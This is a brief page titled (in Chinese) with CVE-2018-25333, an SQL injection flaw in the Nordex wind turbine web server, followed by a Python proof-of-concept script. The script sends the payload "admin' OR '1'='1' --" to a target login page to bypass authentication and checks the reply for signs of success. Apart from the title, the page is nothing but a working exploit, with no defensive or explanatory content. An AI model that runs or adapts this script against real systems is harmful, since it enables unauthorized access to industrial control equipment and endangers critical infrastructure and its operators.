CVE-2018-25333 Nordex风力涡轮机Web Server SQL注入漏洞

import requests # Target URL of the vulnerable Nordex Web Server target_url = "http://<target-ip>/login.php" # Injection payload for the login parameter # This payload attempts to bypass authentication using a tautology sql_payload = "admin' OR '1'='1' --" # Data payload for the POST request post_data = { "login": sql_payload, "password": "intruder" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) VulnerabilityScanner/1.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=post_data, headers=headers, timeout=10) # Check if the response indicates a successful login or error revealing SQL structure if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response length:", len(response.text)) # Analyze response content to verify exploitation (e.g., looking for 'Welcome' or dashboard) if "dashboard" in response.text.lower() or "welcome" in response.text.lower(): print("[!] Potential authentication bypass detected!") else: print("[-] Exploit verification inconclusive based on response content.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")